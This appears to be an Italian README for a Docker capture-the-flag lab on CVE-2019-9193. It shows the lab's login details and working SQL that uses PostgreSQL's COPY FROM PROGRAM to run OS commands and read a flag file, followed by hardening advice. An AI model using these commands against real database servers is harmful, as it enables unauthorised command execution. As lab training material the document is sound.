CVE-2019-9193-Home-Lab

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

Questo lab simula CVE-2019-9193, una vulnerabilità di PostgreSQL 9.3–11.2 che consente di:

COPY ... FROM PROGRAM '<comando>'

di eseguire comandi OS se eseguita da un superuser o da un ruolo con pg_execute_server_program.

Il tuo compito è sfruttare questa funzionalità per leggere:

/tmp/flag.txt

Obiettivo

1. Connettiti a PostgreSQL:
   • User: postgres
   • Password: sentinel7
   • Porta host: 5433
2. Usa COPY FROM PROGRAM per:
   • Eseguire comandi OS
   • Recuperare la flag

Per Iniziare

docker compose build
docker compose up -d

Connettiti tramite:

psql -U postgres -h 127.0.0.1 -p 5433

Sfruttamento

1) Crea la tabella

CREATE TABLE cmd_exec(cmd_output text);

2) Testa l'RCE

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) Leggi la flag

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

Note di Sicurezza

• Non eseguire mai applicazioni usando il superuser di PostgreSQL
• Non concedere pg_execute_server_program inutilmente
• Disabilita o limita COPY PROGRAM
• Proteggi le applicazioni contro SQL injection